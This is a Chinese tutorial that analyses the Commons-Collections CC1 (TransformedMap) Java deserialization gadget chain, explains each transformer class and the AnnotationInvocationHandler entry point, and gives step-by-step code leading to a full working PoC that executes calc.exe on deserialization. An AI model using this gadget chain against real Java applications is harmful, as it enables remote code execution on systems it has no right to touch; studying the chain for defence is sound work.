Commons-Collections篇-CC1链小白基础分析学习

1.介绍

Apache Commons工具包中有⼀个组件叫做 Apache Commons Collections ,其封装了Java 的
Collection(集合) 相关类对象,它提供了很多强有⼒的数据结构类型并且实现了各种集合工具类,Commons
Collections被⼴泛应⽤于各种Java应⽤的开发,而正是因为在大量web应⽤程序中这些类的实现以及⽅法的调用,导致了反序列化漏洞的普遍性和严重性
Apache Commons Collections中有⼀个特殊的接口,其中有⼀个实现该接口的类可以通过调用
Java的反射机制来调用任意函数,叫做InvokerTransformer,它可通过反射调用类中的方法,从而通过一连串的调用而造成命令执行,这条链便叫做Commons
Collections链(简称cc链)。

在网上公开的CC1链有两条,分别是TransformedMap函数和LazyMap函数gadgets,本篇主要学习分析的是TransformedMap,这条相较起来比较简单

2.环境搭建

  • jdk 8u71之前(https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html,在有的高版本中jdk中会修复本漏洞,选择有漏洞的版本)
  • CommonsCollections <= 3.2.1
  • 下载对应的openjdk源码(https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4)
    CC1链对jdk版本有要求,要选择有漏洞的版本.
    在这里插入图片描述

2.1 sun包源码替换

该链中需要用到sun包中的类,而sun包在jdk中是通过class文件反编译来的,我们没办法直接搜要找的类。所以我们还需要去下载对应的openjdk源码,解压后得到sun包源码,解压 jdk 目录的 src.zip,将sun 包源码拷贝过去,默认里面是没有 sun 包的

我们先下载好jdk之后,进入jdk目录,解压src压缩包
在这里插入图片描述
进入我们下载好的openjdk源码的\src\share\classes路径下,复制sun文件夹到我们刚才解压的src目录中
在这里插入图片描述

2.2 idea配置

点击项目结构
在这里插入图片描述
分别将jdk的src目录分别添加到类路径和源路径中
在这里插入图片描述

2.3 CommonsCollections设置

<dependencies><!-- https://mvnrepository.com/artifact/commons-collections/commons-collections --><dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2.1</version></dependency></dependencies>

在这里插入图片描述
然后右键pom.xml,再点击 Maven选项,按图上标号顺序点击即可

3.TransformedMap CC1链分析

Transformer 接口是 Apache Commons Collections 库的一部分,通常用于定义一个转换对象的方法,即将输入对象转换为一个输出对象。

3.1 (执行类)Tansformer接口和实现类

在CC1这条链中,起点为Transformer,他是⼀个接⼝,位于org.apache.commons.collections包中
在这里插入图片描述
我们查看它的实现类有哪些,并尝试分析一些重要类 在这里插入图片描述

3.1.1 ChainedTransformer

Apache Commons Collections 是一个 Java 库,提供了许多扩展和增强的集合类。
ChainedTransformer是该库中的一个类,它实现了Transformer接口,并允许将多个Transformer对象串联起来,形成一个链。当对输入执行transform方法时,它会按顺序通过所有的Transformer对象,每个对象都对结果进行进一步的转换。

在这里插入图片描述
transform方法:这是Transformer接口必须实现的方法。在ChainedTransformer中,它遍历iTransformers数组中的每个Transformer,按顺序将每个Transformer的transform方法应用于输入对象,每一步的输出都是下一步的输入。
在这里插入图片描述
利用它我们可以构造 Transformer 数组 通过 ChainedTransformer#transform() 的链式调用机制+java的反射机制在反序列化时构造出 Runtime 对象,而不是在序列化之前就实例化 Runtime 对象。这样就可以解决 Runtime 不能序列化的问题。

以下这段代码构造了一个ChainedTransformer攻击方式,这个过程不依赖于 transform() 方法的输入参数,因为转换链已经被设定好了,来执行一个特定的命令序列,即打开计算器。

在这种情况下:
第一个 InvokerTransformer 通过Class.forName(“java.lang.Runtime”) 加载 Runtime 类。
第二个 InvokerTransformer 获取 Runtime 类的 getRuntime 静态方法。
第三个 InvokerTransformer 调用 getRuntime 方法,无需任何输入参数(null 值表示这是一个静态方法调用),这将返回 Runtime 的实例。
第四个 InvokerTransformer 使用 Runtime 实例调用 exec 方法,执行 calc.exe。

这个转换链与 transform() 方法传入的参数无关。换句话说,无论传入什么参数,转换链都会按照上面设定的动作执行,因为这些动作不依赖于任何外部传入的参数。所以,Test.class 在这里只是一个占位符,实际上任何对象都可以作为这个方法的输入。

public class test {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new InvokerTransformer("forName",new Class[] {String.class},new Object[] {"java.lang.Runtime"}),new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[] {Object.class, Object[].class },new Object[] {null, new Object[0] }),new InvokerTransformer("exec",new Class[] {String.class},new String[]{"C:\\windows\\system32\\calc.exe"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);chainedTransformer.transform(test.class);}
}

在这里插入图片描述
如果这个为执行类的话,那么我们就要寻找一个调用它的入口类,而且我们需要传入的参数是class对象

3.1.2 ConstantTransformer

我们看 ConstantTransformer 是如何实现 Transformer 接口的,直接返回了 this.iConstant ,this.iConstant 是在实例化对象时在构造函数里传⼊的⼀个对象。也就是说假如只调用构造方法和transform方法的话,我们传入什么对象,就会原封不动地返回什么对象
在这里插入图片描述
我们结合上面的来看,如果我们用ConstantTransformer 包裹一个 class 对象,然后把他放入到我们构造的 Transformer 数组的首位,作为链式调用的起点,那么不管我们传入什么都会返回 Class 类的 Class 对象并继续往下传,那么就不会有必须transform()方法传入为class的限制了,可以选择任何值

public class test {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Class.class),new InvokerTransformer("forName",new Class[] {String.class},new Object[] {"java.lang.Runtime"}),new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[] {Object.class, Object[].class },new Object[] {null, new Object[0] }),new InvokerTransformer("exec",new Class[] {String.class},new String[]{"C:\\windows\\system32\\calc.exe"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);chainedTransformer.transform(0);}
}

在这里插入图片描述

3.1.3 InvokerTransformer

transform方法是 Transformer 接口的实现,它尝试在传入的对象上调用存储的方法名和参数。首先检查输入对象是否为 null,如果是,则直接返回 null。使用反射机制,基于输入对象的类、方法名和参数类型找到对应的 Method 对象。然后调用该方法,并传入参数值(如果有)。如果过程中出现问题(如找不到方法、方法不可访问、方法调用时抛出异常),则捕获异常并抛出 FunctorException,这通常是Apache Commons Collections定义的异常类型。
在这里插入图片描述
在这里插入图片描述
像我们上面说的,它的transform()是基于输入对象的类、方法名和参数类型找到对应的 Method 对象。然后调用该方法,并传入参数值(如果有),那么我们尝试构造一段代码来实现反射执行exec方法

public class test {public static void main(String[] args) throws Exception {InvokerTransformer test = new InvokerTransformer("exec",new Class[]{String.class},new String[]{"C:\\windows\\system32\\calc.exe"});test.transform(Runtime.getRuntime());}
}

在这里插入图片描述
如果这个为执行类的话,我们找到一个入口点readObject,通过直接或间接调用了InvokerTransformer#transform方法是不是就可以了,这样是不行的。在Java序列化过程中,不仅当前对象本身需要实现 Serializable 接口,所有的内部属性(除了被标记为 transient 的字段)也需要是可序列化的。如果任何一个属性对象没有实现 Serializable 接口,那么在尝试序列化该对象时将会抛出一个NotSerializableException。在这里面,Runtime是我们传入的,但是它本身没有实现Serializable接口,所以没办法构成序列化数据。

3.2 (Gadget)寻找哪些调用了执行类

按照反序列化路线,我们找到sink执行类之后,我们查看有哪些类中调用了危险方法
如果下面没有那么多的用法显示,那就是可能是maven没有下载CC包的源代码(卡了我好久,一直以为自己环境有问题 =.=)
在这里插入图片描述

我们可以看到找到了这么多的用法,但是应该以什么标准来选择呢

1.首先就是不要找不同类transform()方法调用InvokerTransformer类的transform()方法,这种情况就是transform()方法再去调用transform()方法,没有意义

2.要能序列化,参数类型广泛,优先readObject()

我们主要看一下TransformedMap,首先它是Map系列,另外还有多个方法调用了transform(),会有更大的概率
在这里插入图片描述

3.2.1 TransformedMap

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
根据注释和函数名我们可以知道该类是一个装饰器类,它包装了一个现有的 Map 实例,并提供了一个功能,即在添加键值对时对键和/或值进行转换。这种转换是通过keyTransformer 和valueTransformer 的 transform()方法的实现来完成,并且这两个可以由我们控制传入。当使用put()向其中添加键值对的时候最终也会调用transform()方法,但是这里用的protected修饰符,无法直接引用,需要先通过静态方法decorate()来获得对象实例

关于 public private protected default四个的区别简单如下:
default (即默认,什么也不写): 在同⼀包内可⻅,不使⽤任何修饰符。使⽤对象:类、接⼝、变量、⽅法。
private : 在同⼀类内可⻅。使⽤对象:变量、⽅法。 注意:不能修饰类(外部类)
public : 对所有类可⻅。使⽤对象:类、接⼝、变量、⽅法
protected : 对同⼀包内的类和所有⼦类可⻅。使⽤对象:变量、⽅法。 注意:不能修饰类(外部类)。

我们让传入decorate()的valueTransformer 为 InvokerTransformer 对象,put 时传入的 value 为Runtime.getRuntime(),key 任意

poc构造如下:

public class CC1 {public static void main(String[] args) throws Exception {InvokerTransformer test = new InvokerTransformer("exec",new Class[]{String.class},new String[]{"C:\\windows\\system32\\calc.exe"});Map map = new HashMap();Map transformedMap = TransformedMap.decorate(map,null,test);transformedMap.put(1,Runtime.getRuntime());}
}

在这里插入图片描述

通过transformedMap.put()触发了
在这里插入图片描述
在这里插入图片描述
也就是在这里执行了InvokerTransformer.transform()方法
在这里插入图片描述

3.2.2 transformKey,transformValue,checkSetValue

接下来我们就要找那个类的方法调用了这三个方法
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
我们可以看到只有抽象类AbstractInputCheckedMapDecorator中的静态内部类MapEntry()对setVale()进行了调用

而Map.Entry.setValue() 方法是用来更新与Map中的一个特定键相关联的值的。在使Map.Entry遍历Map时,你可以使用这个方法来改变当前遍历到的键值对的值。这个方法会改变原始Map中的值,因为Map.Entry对象是原始Map的一个视图。

当我们调用由TransformedMap类装饰的Map(键值对集合),其Map.Entry(键值对)的setValue方法时,调用的便是它的父类AbstractInputCheckedMapDecorator类重写的setValue方法,便会触发 checkSetValue方法,从而触发cc链1

public class CC1 {public static void main(String[] args) throws Exception {InvokerTransformer test = new InvokerTransformer("exec",new Class[]{String.class},new String[]{"C:\\windows\\system32\\calc.exe"});Map map = new HashMap();map.put("k","v");Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,test);
//        transformedMap.put(1,Runtime.getRuntime());for (Map.Entry entry:transformedMap.entrySet()){entry.setValue(Runtime.getRuntime());}}
}

在这里插入图片描述

3.3 (Source) 寻找入口类

到了这里我们已经对整个链的认知清晰了起来

  • 入口类 xxx.readObject.setValue(接收任意对象执行readObject方法)
    • AbstractInputCheckedMapDecorator.MapEntry.setVale()
      • TransformedMap.checkSetValue
        • InvokerTransformer.transform()

我们接下来查询谁调用了setValue(),我们找到了一个可能的入口AnnotationInvocationHandler.readObject(),这个类在sun.reflect.annotation 包中
在这里插入图片描述
AnnotationInvocationHandler类没有被public声明(default类型),仅可在同一个包下可访问也就是在外面无法通过名字来调用,因此只可以用反射获取这个类。
在这里插入图片描述
通过代码可以知道这个readObject方法接收一个ObjectInputStream对象作为参数,defaultReadObject方法用于读取对象的非静态和非瞬态字段,这些字段在序列化时被写入流中。

这个方法会自动处理字段的类型和顺序,以确保它们与序列化时的状态相匹配。

循环遍历memberValues映射中的每个条目,memberValues是一个在方法外部定义的映射,它包含了注解成员的名称和值。

对于每个成员,它检查成员的类型是否与反序列化得到的值的类型相匹配如果成员的类型与值的类型不匹配,并且值不是ExceptionProxy的实例,那么它会创建一个AnnotationTypeMismatchExceptionProxy对象,并将原始值包装在这个异常代理中,然后设置回memberValues映射中。
在这里插入图片描述
构造方法传入两个参数,第一个是注解,第二个是map集合
我们先构造一个利用demo


InvokerTransformer test = new InvokerTransformer("exec",new Class[]{String.class},new String[]{"C:\\windows\\system32\\calc.exe"});Map map = new HashMap();map.put("k","v");Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,test);Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true);Object o = constructor.newInstance(Override.class, transformedMap);serializable(o);unserializable();

3.4 解决链中的问题

3.4.1 Runtime无法序列化

反序列化必须继承Serializable接口,Runtime无法序列化
虽然Runtime无法序列化,但是Class是可以序列化的,Runtime.class

Class c1 = Class.forName("java.lang.Runtime");
Method method = c1.getMethod("exec", String.class);
Method RuntimeMethod = c1.getMethod("getRuntime");
Object m = RuntimeMethod.invoke(null);
method.invoke(m,"C:\\windows\\system32\\calc.exe");

3.4.2 setValue的值无法控制

前面的 Demo 中我们都是直接指定 value 为 Runtime.getRuntime()。但实际上 value 并不能由我们控制。
在这里插入图片描述
点进setVale方法,跳转到transformmap中的check⽅法,value为固定的,⽆法控制执⾏任意类
在这里插入图片描述
这时候就要联想到恒定转化器 ConstantTransformer 和链式转化器ChainedTransformer 了。创建一个 ConstantTransformer 对象,直接传入 iConstant 为Runtime.getRuntime(),放置在 ChainedTransformer 的 iTransformers 数组的第一个,原先的 InvokerTransformer 对象放在第二个,ChainedTransformer 传入到valueTransformer。这样不管 value 为多少,最终都能弹计算器

Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("forName",new Class[] {String.class},new Object[] {"java.lang.Runtime"}),new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[] {Object.class, Object[].class },new Object[] {null, new Object[0] }),new InvokerTransformer("exec",new Class[] {String.class},new String[]{"C:\\windows\\system32\\calc.exe"})};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("id",1);
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(ValueDefinition.class, transformedMap);

3.4.3 遍历map中有两个if判断

在这里插入图片描述
在这里插入图片描述
根据代码来看,AnnotationInvocationHandler 对象在反序列化时会通过 getInstance 获取注解的实例来检查反序列化出来的 type 是否合法,不合法抛出异常,合法就通过 memberTypes()是获取其成员类型(其实就是方法名和返回类型),存储在 HashMap<String,class<?>>中。

遍历反序列化出来的 TransformedMap,逐个获取键名,第一个 if 表达的意思是若该键名与注解实例的某个方法名相同),则获取该键名的值,第二个 if 表达的意思是若注解实例方法的返回类型不是键名对应的值的实例或者键名对应的值是 ExceptionProxy 的实例,则修改键名对应的值。

我们来找一个注解类,发现一个ValueDefinition注解,并且里面有多个方法,我们选一个并且修改我们之前放入的值
在这里插入图片描述

map.put("id",1);
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,test);//反射引用AnnotationInvocationHandler
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(ValueDefinition.class, transformedMap);

在这里插入图片描述
可以看到我们成功绕过if
在这里插入图片描述

3.5 构造POC

package org.example;import com.oracle.jrockit.jfr.ValueDefinition;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class CC3 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("forName",new Class[] {String.class},new Object[] {"java.lang.Runtime"}),new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[] {Object.class, Object[].class },new Object[] {null, new Object[0] }),new InvokerTransformer("exec",new Class[] {String.class},new String[]{"C:\\windows\\system32\\calc.exe"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map map = new HashMap();map.put("id",1);Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true);Object o = constructor.newInstance(ValueDefinition.class, transformedMap);//序列化serializable(o);unserializable();}private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{FileInputStream fis = new FileInputStream("obj");ObjectInputStream ois = new ObjectInputStream(fis);Object o = ois.readObject();return o;}private static void serializable(Object o) throws IOException, ClassNotFoundException{FileOutputStream fos = new FileOutputStream("obj");ObjectOutputStream os = new ObjectOutputStream(fos);os.writeObject(o);os.close();}
}

在上面的poc中将序列化的内容保存到了obj中,我们写一个新的代码调用下

public class CC2 {public static void main(String[] args) throws Exception {unserializable();}private static  Object unserializable() throws Exception,IOException, ClassNotFoundException{FileInputStream fis = new FileInputStream("obj");ObjectInputStream ois = new ObjectInputStream(fis);Object o = ois.readObject();return o;}
}

在这里插入图片描述

3.6 总结

根据咱们上面的分析,从 AnnotationInvocationHandler.readObject()到InvokerTransformer.transform()执行任意代码的 Gadget chain 为:
在这里插入图片描述

4 参考文章

https://www.zacarx.com/?post=3
https://blog.csdn.net/Jayjay___/article/details/133621214
https://drun1baby.top/2022/06/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8701-CC1%E9%93%BE/#0x03-Common-Collections-%E7%9B%B8%E5%85%B3%E4%BB%8B%E7%BB%8D

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/15499.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Windows安装VMware(Broadcom)

1.安装前提 1.检查BIOS中是否开启了虚拟化技术。1.1 打开任务管理器&#xff0c;查看性能&#xff0c;CPU部分&#xff0c;虚拟化处于“已启用”状态。1.2 如果没有开启&#xff0c;则需要进入BIOS系统&#xff0c;将 Intel Virtualization Technology改为Enalble。2.下载VMwa…

卷积神经网络CNN动态演示和输出特征图计算公式

目录 一、卷积运算 1、卷积&#xff08;Convolution&#xff09; 2、填充&#xff08;Padding&#xff09; &#xff08;1&#xff09;Valid Padding &#xff08;2&#xff09;Same Padding 3、步长 4、卷积核大小为什么一般为奇数奇数&#xff1f; 5、卷积核kernel和…

笔记88:LeetCode_134_加油站

前言&#xff1a; 前言1&#xff1a;这个题的题目条件给的不太严谨&#xff0c;题目描述中说“如果存在解&#xff0c;则保证它是唯一的”&#xff0c;通过我的实践&#xff0c;我发现这句话的意思其实是本题的所有样例只有两种情况&#xff0c;无解/有唯一解&#xff1b;而不可…

迅睿 CMS 中开启【ionCube 扩展】的方法

有时候我们想要某种功能时会到迅睿 CMS 插件市场中找现有的插件&#xff0c;但会有些担心插件是否适合自己的需求。于是迅睿 CMS 考虑到这一层推出了【申请试用】&#xff0c;可以让用户申请试用 30 天&#xff0c;不过试用是有条件的&#xff0c;条件如下&#xff1a; php 版…

Midjourney是一个基于GPT-3.5系列接口开发的免费AI机器人

Midjourney是一个基于GPT-3.5系列接口开发的免费AI机器人&#xff0c;旨在提供多领域的智能对话服务。Midjourney在不同领域中有不同的定义和应用&#xff0c;以下是对其中两个主要领域的介绍&#xff1a; Midjourney官网&#xff1a;https://www.midjourney.com/ 一、AI绘画工…

Windows11搭建Flutter3开发环境

下载&#xff1a;https://docs.flutter.cn/get-started/install/windows/desktop?tabdownload 下载以后解压到C盘&#xff1a; 将bin目录添加到环境变量PATH&#xff1a; 打开终端&#xff0c;输入&#xff1a; flutter doctor执行下面的命令&#xff0c;同意安卓协议&am…

llama3-8b-instruct-262k微调过程的问题笔记(场景为llama论文审稿)

目录 一、环境配置 1.1、模型 1.2、微调环境 1.3、微调数据 二、发现的问题 2.1、过拟合问题 2.2、Qlora zero3 保存模型时OOM问题(已解决) 一、环境配置 1.1、模型 llama3-8b-instruct-262k &#xff08;英文&#xff09; 1.2、微调环境 Package Version ------------------…

开关电源AC-DC(15W 3-18V可调)

简介: 该模块使用PI的TNY268PN电源芯片制作的开关电源,实现最大功率15W 3-18V可调输出(更改反馈电阻)隔离式反激电源; 简介:该模块使用PI的TNY268PN电源芯片制作的开关电源,实现最大功率15W 3-18V可调输出(更改反馈电阻,现电路图输出5V)隔离式反激电源; 一、产品简…

【C++】详解AVL树——平衡二叉搜索树

个人主页&#xff1a;东洛的克莱斯韦克-CSDN博客 祝福语&#xff1a;愿你拥抱自由的风 目录 二叉搜索树 AVL树概述 平衡因子 旋转情况分类 左单旋 右单旋 左右双旋 右左双旋 AVL树节点设计 AVL树设计 详解单旋 左单旋 右单旋 详解双旋 左右双旋 平衡因子情况如…

ESP32 接入点灯科技实现远程控制(物联网)

文章目录 ESP32-C3MQTT协议blinker App 源码blinker 开发者Arduino 支持文档导入 blinker 库注册点灯 APPblinker WiFi 示例blinker 蓝牙示例 本示例中开发板使用的是Seeed Studio (XIAO-ESP32-C3) ESP32-C3 ESP32-C3 是 Espressif Systems 公司开发的一款单核 Wi-Fi 和蓝牙双模…

「云渲染课堂」3dmax地砖材质参数怎么让画面更加真实?

在3DMAX中&#xff0c;地砖材质的渲染需要细致的调整&#xff0c;因为不同材质的地砖在反射和折射参数上各不相同。为了使地砖材质更加逼真&#xff0c;以下简要说明了一些设置方法&#xff0c;希望对大家有所帮助&#xff01; 3dmax地砖材质参数如何设置 1、打开材质编辑器&a…

性能测试--线程的监控

1.线程的状态 1.1.线程的5种状态 java的线程总共有5种状态&#xff0c;如下&#xff1a; * 新建&#xff1a;new 【新建之后不启用都是new】* 运行&#xff1a;runnable* 等待&#xff1a;waitting(无限期等待),timed waitting(限期等待)* 阻塞&#xff1a;blocked* 结束&am…

LaTex 模板 - 东北师范大学申研申博推荐信

文章目录 NENU-Letter-Template项目地址示例特性项目结构如何使用main.texletterContent.tex 如何编译方式 1 &#xff1a;在线编译方式 2 &#xff1a;本地编译 参考 NENU-Letter-Template NENU’s recommendation letter template. 东北师范大学推荐信模板 项目地址 GitHu…

网络爬虫原理及其应用

你是否想知道Google 和 Bing 等搜索引擎如何收集搜索结果中显示的所有数据。这是因为搜索引擎对其档案中的所有页面建立索引&#xff0c;以便它们可以根据查询返回最相关的结果。网络爬虫使搜索引擎能够处理这个过程。 本文重点介绍了网络爬虫的重要方面、网络爬虫为何重要、其…

【学习笔记】Webpack5(Ⅱ)

Webpack 3、高级篇 3.1、提升开发体验 —— SourceMap 3.2、提升打包速度 3.2.1 HotModuleReplacement 3.2.2 OneOf 3.2.3 Include / Exclude 3.2.4 Cache 3.2.5 Thread 3.3、减少代码体积 …

蓝桥杯杨辉三角

PREV-282 杨辉三角形【第十二届】【蓝桥杯省赛】【B组】 &#xff08;二分查找 递推&#xff09;&#xff1a; 解析&#xff1a; 1.杨辉三角具有对称性&#xff1a; 2.杨辉三角具有一定规律 通过观察发现&#xff0c;第一次出现的地方一定在左部靠右的位置&#xff0c;所以从…

FTP协议——BFTPD安装(Linux)

1、简介 BFTPD&#xff0c;全称为 Brutal File Transfer Protocol Daemon&#xff0c;是一个用于Unix和类Unix系统的轻量级FTP服务器软件。它的设计理念是提供一个简单、快速、安全的FTP服务器解决方案&#xff0c;特别适用于需要低资源占用的环境。 2、步骤 环境&#xff1…

正在直播:Microsoft Copilot Studio 新增支持Copilot代理、Copilot扩展等多项功能

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

java连接ldap实现查询

文章目录 一、项目背景二、准备工作三、验证结果四、易错点讲解易错点1&#xff1a;java: 无法访问org.springframework.ldap.core.LdapTemplate易错点2&#xff1a;java: 无法访问org.springframework.context.ConfigurableApplicationContext易错点3&#xff1a;[LDAP: error…

STM32 学习——1. STM32最小系统

这是一个最小系统的测试&#xff0c;LED灯会进行闪烁。选用PC13口&#xff0c;因为STM32F103C8T6 硬件开发板中&#xff0c;这个端口是一个LED 1. proteus8.15 原理图 2. cubemx 新建工程 3. keil 代码 while (1){HAL_GPIO_TogglePin(LED_GPIO_Port, LED_Pin);HAL_Delay(100);…